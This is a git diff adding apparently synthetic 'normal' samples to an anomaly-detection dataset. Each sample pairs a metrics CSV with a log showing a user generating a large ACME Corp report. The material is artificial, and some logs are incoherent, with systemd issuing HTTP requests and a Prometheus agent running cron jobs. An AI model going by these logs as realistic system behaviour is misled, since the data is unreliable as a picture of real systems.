+2025-07-02T12:04:35Z,95.57,70.38,10.45,0.82,0.5 +2025-07-02T12:04:40Z,95.83,69.67,8.39,0.79,1.27 +2025-07-02T12:04:45Z,95.48,68.74,7.25,1.04,1.06 +2025-07-02T12:04:50Z,92.84,72.5,10.69,0.5,0.5 +2025-07-02T12:04:55Z,92.87,69.71,14.04,1.08,0.92 +2025-07-02T12:05:00Z,96.91,76.15,11.03,0.96,1.0 +2025-07-02T12:05:05Z,95.35,75.87,5.62,0.95,0.99 +2025-07-02T12:05:10Z,94.17,75.6,12.06,1.23,1.28 +2025-07-02T12:05:15Z,95.34,77.18,11.35,0.71,1.08 +2025-07-02T12:05:20Z,96.67,77.2,7.61,1.22,0.93 +2025-07-02T12:05:25Z,97.56,78.18,78.05,0.95,0.7 +2025-07-02T12:05:30Z,95.77,78.64,71.09,1.2,1.06 +2025-07-02T12:05:35Z,94.06,79.03,74.38,0.9,1.09 +2025-07-02T12:05:40Z,90.64,80.99,63.83,0.88,0.51 +2025-07-02T12:05:45Z,94.12,84.39,84.55,1.12,0.94 +2025-07-02T12:05:50Z,97.22,86.08,73.15,0.8,1.02 +2025-07-02T12:05:55Z,95.07,85.61,12.86,0.68,1.07 +2025-07-02T12:06:00Z,14.22,84.45,10.83,0.74,16.02 +2025-07-02T12:06:05Z,16.6,83.99,6.99,1.29,1.15 +2025-07-02T12:06:10Z,12.45,80.62,6.98,0.8,0.97 +2025-07-02T12:06:15Z,16.75,78.31,6.66,1.3,0.92 +2025-07-02T12:06:20Z,13.53,72.75,6.98,1.12,0.93 +2025-07-02T12:06:25Z,19.38,72.92,5.0,1.13,0.8 +2025-07-02T12:06:30Z,18.91,69.29,12.64,1.02,0.88 +2025-07-02T12:06:35Z,21.55,66.68,9.15,0.77,0.72 +2025-07-02T12:06:40Z,12.03,62.19,13.03,0.85,0.73 +2025-07-02T12:06:45Z,15.31,59.57,11.26,1.14,0.95 +2025-07-02T12:06:50Z,16.61,59.59,13.87,0.81,0.79 +2025-07-02T12:06:55Z,12.37,55.72,11.92,0.97,0.53 +2025-07-02T12:07:00Z,19.38,51.08,12.63,0.64,0.71 +2025-07-02T12:07:05Z,14.02,48.81,15.82,0.74,0.59 +2025-07-02T12:07:10Z,14.91,47.7,5.0,1.0,0.94 +2025-07-02T12:07:15Z,17.55,44.5,9.42,0.94,0.59 +2025-07-02T12:07:20Z,12.0,41.67,5.14,0.98,0.74 +2025-07-02T12:07:25Z,18.62,39.98,10.94,0.8,0.82 diff --git a/norm_dataset/scenario_10/norm_10_26.log b/norm_dataset/scenario_10/norm_10_26.log new file mode 100644 index 0000000000000000000000000000000000000000..9712bfaf7640db00dd3f5259987729dacdf8c6ff --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_26.log @@ -0,0 +1,90 @@ +Jul 02 12:00:00 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:00:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:12 web-app[22551]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:00:20 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:00:25 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:00:30 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:00:35 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:00:40 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:00:45 web-app[22551]: GET /api/v1/dashboard status=200 OK +Jul 02 12:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:00:55 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:00 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:10 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:15 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:20 web-app[22551]: POST /api/v1/settings status=200 OK +Jul 02 12:01:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:01:30 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:35 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:40 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:45 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:01:50 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:55 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:00 web-app[22551]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:02:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:10 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:15 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:20 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:25 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:30 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:02:40 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:45 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:50 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:02:55 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:00 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:03:15 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:20 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:25 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:30 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:35 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:40 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:03:50 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:03:55 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:00 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:10 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:15 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:04:25 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:30 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:35 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:40 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:45 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:50 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:05:00 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:10 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:15 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:20 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:25 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:05:35 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:40 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:45 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:50 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:05:55 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:00 web-app[22551]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:05 web-app[22551]: GET /api/v1/download/report-a4d8-b1c2.xlsx status=200 OK +Jul 02 12:06:10 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:15 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:20 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:25 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:30 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:35 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:06:45 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:06:50 CRON[4815]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:55 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:07:00 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:07:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:10 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c7f4d4-xzq9p +Jul 02 12:07:20 web-app[22551]: GET /api/v1/healthz status=200 OK +Jul 02 12:07:25 web-app[22551]: GET /api/v1/healthz status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_27.csv b/norm_dataset/scenario_10/norm_10_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..ac72679e3c84db49af7c842c1d47ea726300db2d --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,14.33,38.06,8.58,0.96,0.96 +2025-08-22T10:00:05Z,5.9,32.11,10.94,1.33,0.57 +2025-08-22T10:00:10Z,7.77,33.71,8.78,0.53,0.65 +2025-08-22T10:00:15Z,8.78,33.67,10.1,1.16,0.76 +2025-08-22T10:00:20Z,11.34,32.28,11.38,0.91,1.4 +2025-08-22T10:00:25Z,5.25,32.27,9.25,0.95,0.51 +2025-08-22T10:00:30Z,10.48,33.41,6.07,1.1,1.45 +2025-08-22T10:00:35Z,7.92,37.42,9.02,1.18,0.81 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+2025-08-22T10:07:20Z,10.78,40.48,14.44,0.79,1.08 +2025-08-22T10:07:25Z,7.0,37.06,14.4,1.45,0.78 diff --git a/norm_dataset/scenario_10/norm_10_27.log b/norm_dataset/scenario_10/norm_10_27.log new file mode 100644 index 0000000000000000000000000000000000000000..7d8d0f35f1d7b47748da5aa1ef13cc5b5df4960f --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_27.log @@ -0,0 +1,21 @@ +Aug 22 10:00:00 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:25 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 22 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:01:15 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 22 10:01:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 web-app[3456]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:02:05 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:30 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 22 10:03:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:45 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 22 10:04:10 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:04:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:00 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 22 10:05:50 web-app[3456]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:06:15 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:40 web-app[3456]: GET /api/v1/user/45 status=200 OK +Aug 22 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:07:20 web-app[3456]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_28.csv b/norm_dataset/scenario_10/norm_10_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..1ddba474179060edd020fdcb400a58871e89b976 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,12.64,39.66,32.05,0.84,0.6 +2025-08-22T10:00:05Z,10.67,37.97,28.64,1.02,1.17 +2025-08-22T10:00:10Z,14.35,43.33,30.02,1.08,0.76 +2025-08-22T10:00:15Z,15.18,39.6,21.67,1.1,0.84 +2025-08-22T10:00:20Z,9.6,37.62,30.05,1.07,1.11 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+2025-08-22T10:07:05Z,53.97,60.36,28.61,1.08,1.18 +2025-08-22T10:07:10Z,50.43,59.64,29.37,0.67,1.14 +2025-08-22T10:07:15Z,45.8,55.83,26.97,1.13,0.72 +2025-08-22T10:07:20Z,43.27,52.93,35.51,0.92,0.89 +2025-08-22T10:07:25Z,43.52,53.24,36.37,1.16,1.01 diff --git a/norm_dataset/scenario_10/norm_10_28.log b/norm_dataset/scenario_10/norm_10_28.log new file mode 100644 index 0000000000000000000000000000000000000000..1daedefa44f903a3281d6604cbed885ad245692c --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_28.log @@ -0,0 +1,12 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:10 web-app[3456]: GET /api/v1/health status=200 OK +Aug 22 10:00:40 CRON[8712]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:15 web-app[3456]: GET /api/v1/user/jane.doe status=200 OK +Aug 22 10:01:40 web-app[3456]: INFO User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:02:30 web-app[3456]: DEBUG Querying database for sales records 2020-2022... +Aug 22 10:03:45 kubelet[1988]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:35 web-app[3456]: DEBUG Aggregating quarterly results... +Aug 22 10:05:25 web-app[3456]: DEBUG Caching intermediate data to /tmp/report_gen_1a2b3c.tmp +Aug 22 10:06:15 web-app[3456]: INFO Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:50 web-app[3456]: GET /api/v1/user/john.doe status=200 OK +Aug 22 10:07:20 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_10/norm_10_29.csv b/norm_dataset/scenario_10/norm_10_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..6e54fa14b257d5872b250ece78a5aad5fdbcf4dc --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.35,36.78,20.24,0.99,0.63 +2025-08-22T10:00:05Z,18.87,40.81,27.34,0.55,1.1 +2025-08-22T10:00:10Z,19.24,44.11,28.13,1.2,0.79 +2025-08-22T10:00:15Z,15.5,37.99,21.64,1.18,0.81 +2025-08-22T10:00:20Z,14.95,37.3,12.79,0.74,0.92 +2025-08-22T10:00:25Z,19.09,44.55,19.67,0.59,0.97 +2025-08-22T10:00:30Z,16.88,37.41,16.95,0.62,1.47 +2025-08-22T10:00:35Z,12.63,35.52,22.78,1.18,0.72 +2025-08-22T10:00:40Z,15.2,42.17,12.18,1.14,0.88 +2025-08-22T10:00:45Z,10.17,36.84,21.05,1.23,1.38 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+2025-08-22T10:07:25Z,15.0,58.07,17.34,1.11,1.1 diff --git a/norm_dataset/scenario_10/norm_10_29.log b/norm_dataset/scenario_10/norm_10_29.log new file mode 100644 index 0000000000000000000000000000000000000000..8e553864a17d3b30a56f3960dc60a7a729812119 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_29.log @@ -0,0 +1,20 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/user/0 status=200 OK +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:20 web-app[1234]: GET /api/v1/user/2 status=200 OK +Aug 22 10:00:40 web-app[1234]: GET /api/v1/user/4 status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 web-app[1234]: GET /api/v1/user/6 status=200 OK +Aug 22 10:01:05 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:01:50 CRON[2222]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:40 CRON[4444]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:30 CRON[6666]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:35 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:35 web-app[1234]: GET /api/v1/download/report-1661159195.xlsx status=200 OK +Aug 22 10:06:40 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 22 10:07:00 systemd[1]: Daily clean up activities finished. +Aug 22 10:07:05 web-app[1234]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_3.csv b/norm_dataset/scenario_10/norm_10_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..109eafad2ce9f1a83d9f0ec7faaa87e140b2967a --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.49,40.19,33.13,1.29,1.1 +2025-07-02T12:00:05Z,14.59,41.94,25.71,0.71,1.31 +2025-07-02T12:00:10Z,16.94,38.6,24.65,1.23,0.98 +2025-07-02T12:00:15Z,19.57,39.34,32.41,1.0,1.08 +2025-07-02T12:00:20Z,14.3,39.22,28.88,0.8,1.14 +2025-07-02T12:00:25Z,14.3,37.07,33.57,1.09,0.92 +2025-07-02T12:00:30Z,19.74,40.59,32.37,1.04,1.04 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+2025-07-02T12:07:15Z,15.99,44.91,22.85,0.94,0.81 +2025-07-02T12:07:20Z,13.41,41.47,27.8,1.06,0.9 +2025-07-02T12:07:25Z,16.54,45.0,30.65,0.83,0.79 diff --git a/norm_dataset/scenario_10/norm_10_3.log b/norm_dataset/scenario_10/norm_10_3.log new file mode 100644 index 0000000000000000000000000000000000000000..91a04cf466cb510131b12dd59a43835e33c793e9 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_3.log @@ -0,0 +1,9 @@ +Jul 02 12:00:10 web-app[1234]: 192.168.1.101 - GET /api/v1/dashboard status=200 OK +Jul 02 12:00:50 web-app[1234]: 192.168.1.101 - GET /api/v1/user/john.doe status=200 OK +Jul 02 12:01:40 web-app[1234]: 192.168.1.101 - GET /api/v1/settings status=200 OK +Jul 02 12:02:05 report-generator[4567]: INFO: Querying database for records between 2020-01-01 and 2025-07-01. +Jul 02 12:02:05 report-generator[4567]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:03:35 report-generator[4567]: INFO: Data fetch complete. 2,548,123 records found. Aggregating data... +Jul 02 12:05:05 report-generator[4567]: INFO: Aggregation complete. Writing to temporary Excel file. +Jul 02 12:06:15 report-generator[4567]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:30 web-app[1234]: 192.168.1.101 - GET /api/v1/reports/download/xyz-abc-123 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_30.csv b/norm_dataset/scenario_10/norm_10_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..e8398ac28afd8adb0e508113aa883939bb70e0c4 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,18.38,40.49,20.64,0.74,1.01 +2025-08-22T10:00:05Z,16.06,44.34,23.66,0.96,1.08 +2025-08-22T10:00:10Z,18.72,42.03,32.46,1.04,0.93 +2025-08-22T10:00:15Z,12.29,37.54,22.87,1.29,1.49 +2025-08-22T10:00:20Z,10.1,37.53,28.85,0.85,1.13 +2025-08-22T10:00:25Z,15.26,37.48,32.9,0.96,0.79 +2025-08-22T10:00:30Z,15.93,35.7,24.27,0.53,1.32 +2025-08-22T10:00:35Z,14.0,36.46,25.23,0.67,1.06 +2025-08-22T10:00:40Z,19.7,36.59,36.21,1.13,0.83 +2025-08-22T10:00:45Z,12.41,38.53,31.9,1.07,0.98 +2025-08-22T10:00:50Z,11.26,40.66,24.1,0.66,1.08 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b/norm_dataset/scenario_10/norm_10_30.log new file mode 100644 index 0000000000000000000000000000000000000000..2a8f7dcbe7da6d5a966b0992237b7c7eb95c0bb5 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_30.log @@ -0,0 +1,21 @@ +Aug 22 10:00:10 kubelet[8080]: Scrape successful +Aug 22 10:00:15 prometheus-agent[9100]: GET /api/v1/health status=200 OK +Aug 22 10:00:25 kubelet[8080]: Scrape successful +Aug 22 10:01:20 kubelet[8080]: GET /api/v1/health status=200 OK +Aug 22 10:02:00 kubelet[8080]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 web-app[2501]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:03:05 CRON[5432]: Starting daily clean up activities... +Aug 22 10:03:25 prometheus-agent[9100]: Scrape successful +Aug 22 10:04:10 prometheus-agent[9100]: INFO Liveness probe succeeded for pod nginx-ingress +Aug 22 10:04:25 prometheus-agent[9100]: Scrape successful +Aug 22 10:04:55 prometheus-agent[9100]: Scrape successful +Aug 22 10:05:00 systemd[1]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:05 kubelet[8080]: GET /api/v1/user/34 status=200 OK +Aug 22 10:05:15 systemd[1]: GET /api/v1/user/34 status=200 OK +Aug 22 10:05:20 systemd[1]: GET /api/v1/user/34 status=200 OK +Aug 22 10:05:40 prometheus-agent[9100]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:50 web-app[2501]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:30 prometheus-agent[9100]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:06:35 prometheus-agent[9100]: Scrape successful +Aug 22 10:07:00 prometheus-agent[9100]: GET /api/v1/health status=200 OK +Aug 22 10:07:05 kubelet[8080]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_10/norm_10_4.csv b/norm_dataset/scenario_10/norm_10_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..455f20bbc0d63d431b6dd5de5069720c8a0679de --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.830305868579867,35.60088393856537,10.61690887528695,1.2670407531971624,1.0947870988311934 +2025-07-02T12:00:05Z,15.801008398697828,34.700702904088764,14.151512795156302,0.8293735020345396,1.2571561378676521 +2025-07-02T12:00:10Z,10.090998688676585,33.85601370171284,13.300646125313511,0.7630284422999106,1.4677396055241028 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+2025-07-02T12:06:55Z,84.76236017596466,72.15194270604427,84.7648796014002,1.1259356631763935,0.6871953488385385 +2025-07-02T12:07:00Z,13.091753656397747,67.16520659817331,6.624126809343994,1.384659594558904,1.271548341698764 +2025-07-02T12:07:05Z,15.317035241885307,61.35716948825709,6.598460819710467,0.5651338824055543,1.4763634491190007 +2025-07-02T12:07:10Z,17.305540218920598,53.7920472048281,6.628142877874705,1.3059198002748087,0.6170316261077131 +2025-07-02T12:07:15Z,10.401029272974654,47.2137960551884,5.045881024240646,1.228445162611552,0.6681448617449981 +2025-07-02T12:07:20Z,19.776105621503348,40.794084163733395,10.99904005676926,0.8675072573053758,0.9313601372501187 +2025-07-02T12:07:25Z,12.905570720927468,34.647572346214304,8.136475580528296,1.4940319347801747,0.5776817672249636 diff --git a/norm_dataset/scenario_10/norm_10_4.log b/norm_dataset/scenario_10/norm_10_4.log new file mode 100644 index 0000000000000000000000000000000000000000..003d2475c3d1687d8cfee7ea0ec52bec0807a0af --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_4.log @@ -0,0 +1,36 @@ +Jul 02 12:00:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:00:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:01:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 web-app[3456]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:02:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:35 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:02:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:02:50 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:03:00 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:03:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:03:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:03:40 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:03:50 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:03:55 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:04:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:04:20 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:04:30 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:04:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:10 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:05:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:35 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:05:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:45 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:05:55 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 web-app[3456]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:07:05 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:07:10 web-app[3456]: GET /api/v1/health status=200 OK +Jul 02 12:07:15 web-app[3456]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_5.csv b/norm_dataset/scenario_10/norm_10_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..1c003d106dac2493b69423285179601a63ce169b --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,7.09,40.08,7.3,0.62,0.57 +2025-07-02T12:00:05Z,11.29,40.2,12.5,1.24,0.68 +2025-07-02T12:00:10Z,17.85,42.91,8.08,0.88,1.23 +2025-07-02T12:00:15Z,19.11,40.96,14.39,0.99,0.87 +2025-07-02T12:00:20Z,11.23,43.45,11.29,1.07,1.09 +2025-07-02T12:00:25Z,13.91,39.32,10.63,0.61,0.71 +2025-07-02T12:00:30Z,10.7,45.06,14.51,0.63,1.19 +2025-07-02T12:00:35Z,17.77,38.34,9.54,0.98,1.05 +2025-07-02T12:00:40Z,6.38,41.13,7.35,1.16,0.93 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+2025-07-02T12:07:25Z,15.3,48.28,11.14,1.01,0.59 diff --git a/norm_dataset/scenario_10/norm_10_5.log b/norm_dataset/scenario_10/norm_10_5.log new file mode 100644 index 0000000000000000000000000000000000000000..a034a705bb319054fe7efe2d430c9636f441af0e --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_5.log @@ -0,0 +1,26 @@ +Jul 02 12:00:00 web-app[2251]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:35 web-app[2251]: GET 